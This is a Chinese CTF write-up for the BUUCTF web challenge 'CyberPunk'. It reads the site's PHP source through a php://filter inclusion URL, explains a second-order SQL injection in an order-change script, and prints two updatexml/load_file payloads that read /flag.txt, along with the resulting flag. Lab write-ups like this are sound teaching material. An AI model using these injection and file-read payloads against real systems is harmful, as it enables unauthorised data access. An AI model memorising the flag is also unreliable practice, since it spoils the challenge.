想直接查看payload的点这里

前言

二次注入(Second-Order Injection)是指攻击者在应用程序中注入恶意数据,然后在稍后的操作或不同的上下文中再次使用该恶意数据,导致安全漏洞。它通常发生在数据库查询、数据导出、报告生成等过程中。

典型的二次注入示例包括在用户注册时注入恶意代码,然后在管理员操作中触发执行,或者在数据库操作中注入恶意代码。为防止二次注入,应采取综合的安全措施,包括输入验证、参数化查询、代码审计和安全编码实践。

对于SQL注入问题,使用参数化查询或预编译语句,并对用户输入进行严格验证和过滤,可防止恶意SQL代码注入。对于二次注入,还需考虑应用程序的整体逻辑和数据流程,确保数据在后续处理中也得到适当处理和过滤,以防再次执行恶意代码。


正文

查看源码,发现提示,有可能存在文件包含

还在源码看到存在index.php,change.php,comfirm.php,delete.php,search.php这些文件

可以用php伪协议fenbie依次读取这些文件:

?file=php://filter/convert.base64-encode/resource=index.php

php://filter/convert.base64-encode/resource=index.php 是一个针对 PHP 文件的路径表达式,它使用了 php://filter 伪协议和 convert.base64-encode 过滤器。

它的含义是将目录下的 index.php 文件内容以 Base64 编码的形式读取。

查看index.php代码可以发现,提交订单的数据要通过confirm.php校验,其中没有校验address地址值。

再查看change.php代码可以发现,修改订单时只用addslashes函数对address函数进行了转义。

再看change.php中最关键一行sql语句:

$sql = "update `user` set
`address`='".$address."', `old_address`='".$row['address']."
' where `user_id`=".$row['user_id'];

它把在index.php中提交的旧地址(old_address)重新保存到数据库里。

所以可以在index.php提交订单的时候,在地址里输入sql注入语句,然后在change.php中修改订单时当时的sql注入语句被执行,这就是二次注入。
这里使用报错注入,然后因为updatexml最多一次显示32个字符,所以用两个payload分开读取flag。

payload:
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#

提交订单:

修改订单成功读取到flag:

同理再提交订单修改订单获取后半段的flag:

flag{5cd7240e-e619-4ddf-8bfc-7300b3e1841d}

提交flag


相关文章:
MySQL 文件读写
探索php://filter在实战当中的奇技淫巧
updatexml mysql_深入浅出带你玩转sqlilabs

BUUCTF Web CyberPunk WriteUp的更多相关文章

  1. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  2. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  3. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  4. 31C3 CTF web关writeup

    0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...

  5. 实验吧 Web的WriteUp

    每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup. 0x01 天下武功唯快不破 题目提示 : 看看 ...

  6. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  7. 第一周Web类WriteUp

    Forms 看到这题目第一反应就是先抓个包试试,抓包之后效果如图所示 看到一个showsource=0,那就想着把它改成1看看会出现什么效果,改成1之后forward,发现网页上变成了这个样子 根据这 ...

  8. 实验吧 web题writeup

    1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...

  9. ISG2018 web题Writeup

    0x01.命令注入 这题可以使用burpsuite扫出来,但是可能需要测一下. 得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'% ...

  10. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

随机推荐

  1. Solution -「CF 1096E」The Top Scorer

    Description Link. 小明在打比赛,包括小明自己一共有 \(p\) 名选手参赛,每个人的得分是一个非负整数.最后的冠军是得分最高的人,如果得分最高的人有多个,就等概率从这些人中选一个当冠 ...

  2. Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

    Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543) 环境复现 采用Vulfocu ...

  3. day1项目配置

    项目初始化 本项目使用vite进行构建,vite参考官网 pnpm包管理:performant npm,意味"高性能的npm".pnpm由npm/yarn衍生而来,解决了npmly ...

  4. 【matplotlib 实战】--堆叠面积图

    堆叠面积图和面积图都是用于展示数据随时间变化趋势的统计图表,但它们的特点有所不同.面积图的特点在于它能够直观地展示数量之间的关系,而且不需要标注数据点,可以轻松地观察数据的变化趋势.而堆叠面积图则更适 ...

  5. 非全自研可视化表达引擎RuleLinK可视化之路

    导读 上一篇<非全自研可视化表达引擎-RuleLinK>介绍了RuleLink的V1.0版本,虽说一定程度上消除了一些配置相关的样板式代码,也肉眼可见的消除了一些研发资源的浪费:RuleL ...

  6. centos服务器搭建https

    一.环境 OS:CentOS Linux release 8.2.2004 (Core) 硬件:某外网云服务器虚拟机 二.安装命令 1.安装nginx yum install nginx 2.安装签发 ...

  7. 【NOI 2023 春测】 游寄

    3.2 发出发通知单:9:40 3.3 旷操,把背包扔到 \(\texttt{JF}\) 底下,和 Kaguya 一起去吃早饭. 在桥下面被老班抓到了() 我用椅子给 apj 搭了一张床. Apj 给 ...

  8. Nacos注册中心有几种调用方式?

    Spring Cloud Alibaba Nacos 作为近几年最热门的注册中心和配置中心,也被国内无数公司所使用,今天我们就来看下 Nacos 作为注册中心时,调用它的接口有几种方式? 1.什么是注 ...

  9. 交互式数据分析和python笔记

    1.安装conda 类似npm的n https://www.jianshu.com/p/544a4c8a8186 # 安装python 以及依赖 conda create -n joy python= ...

  10. java 处理常量字符串过长 & springboot 项目读取 resouces 文件夹下的文件内容

    长字符串起因 项目里面有一长串的加密字符串(最长的万多个字符),需要拼接作为参数发送给第三方. 如果我们使用 枚举 定义的话,idea 编译的时候就会出现编译报错 Error: java:常量字符串过 ...